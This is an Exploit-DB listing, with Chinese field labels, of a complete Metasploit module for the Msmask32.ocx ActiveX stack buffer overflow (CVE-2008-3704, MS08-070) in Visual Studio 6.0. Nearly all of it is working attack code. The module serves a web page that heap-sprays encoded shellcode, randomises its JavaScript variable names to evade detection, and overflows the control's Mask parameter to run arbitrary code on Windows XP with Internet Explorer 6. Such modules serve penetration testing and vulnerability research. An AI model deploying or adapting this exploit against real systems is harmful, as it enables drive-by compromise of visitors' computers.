标题: Microsoft Visual Studio - Msmask32.ocx ActiveX Buffer Overflow (MS08-070) (Metasploit) EDB-ID: 16507 CVE: 2008-3704 类型: REMOTE 平台: WINDOWS 发布日期: 2010-11-24 漏洞利用脚本: ##
# $Id: ms08_070_visual_studio_msmask.rb 11127 2010-11-24 19:35:38Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Microsoft Visual Studio Msmask32.ocx ActiveX Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Microsoft's Visual Studio 6.0.
    When passing a specially crafted string to the Mask parameter of the
    Msmask32.ocx ActiveX Control, an attacker may be able to execute arbitrary
    code.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'koshi', 'MC' ],
   'Version'        => '$Revision: 11127 $',
   'References'     =>
    [
     [ 'CVE', '2008-3704' ],
     [ 'OSVDB', '47475' ],
     [ 'BID', '30674' ],
     [ 'MSB', 'MS08-070' ]
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'         => 1024,
     'BadChars'      => "\x00",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP SP0-SP2 IE 6.0 SP0-SP2', { 'Ret' => '' } ]
    ],
   'DisclosureDate' => 'Aug 13 2008',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
   ], self.class)
 end

 def autofilter
  false
 end

 def check_dependencies
  use_zlib
 end

 def on_request_uri(cli, request)
  # Re-generate the payload.
  return if ((p = regenerate_payload(cli)) == nil)

  # Encode the shellcode.
  shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

  # Create some nops.
  nops    = Rex::Text.to_unescape(make_nops(4))

  # Randomize the javascript variable names.
  vname  = rand_text_alpha(rand(100) + 1)
  var_i  = rand_text_alpha(rand(30)  + 2)
  rand1  = rand_text_alpha(rand(100) + 1)
  rand2  = rand_text_alpha(rand(100) + 1)
  rand3  = rand_text_alpha(rand(100) + 1)
  rand4  = rand_text_alpha(rand(100) + 1)
  rand5  = rand_text_alpha(rand(100) + 1)
  rand6  = rand_text_alpha(rand(100) + 1)
  rand7  = rand_text_alpha(rand(100) + 1)
  rand8  = rand_text_alpha(rand(100) + 1)
  rand9  = rand_text_alpha(rand(100) + 1)
  rand10  = rand_text_alpha(rand(100) + 1)
  rand11  = rand_text_alpha(rand(100) + 1)

  content = %Q|
<html>
 <script language="javascript">
 var #{rand1}='<object classid="clsid:C932BA85-4374-101B-A56C-00AA003668DC"><param name="Mask" value="';
 var #{rand2}='"></object>';
 var #{rand3} = '';
 for (#{var_i}=1;#{var_i}<=2145;#{var_i}++){#{rand3}=#{rand3}+unescape("%0c");}
 var #{rand4} = unescape("#{shellcode}");
 var #{rand5} = (#{rand4}.length * 2);
 var #{rand6} = unescape("#{nops}");
 var #{rand7} = 0x0c0c0c0c;
 var #{rand8} = 0x100000;
 var #{rand9} = #{rand8} - (#{rand5} + 1);
 var #{rand10} = (#{rand7}+#{rand8})/#{rand8};
 var #{rand11} = new Array();
 while (#{rand6}.length*2<#{rand9})
 { #{rand6} += #{rand6}; }
 #{rand6} = #{rand6}.substring(0,#{rand9}/2);
 for (#{var_i}=0;#{var_i}<#{rand10};#{var_i}++)
 { #{rand11}[#{var_i}] = #{rand6} + #{rand4}; }
 document.write(#{rand1}+#{rand3}+#{rand2});
 </script>
</html>
   |

  print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content)

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16507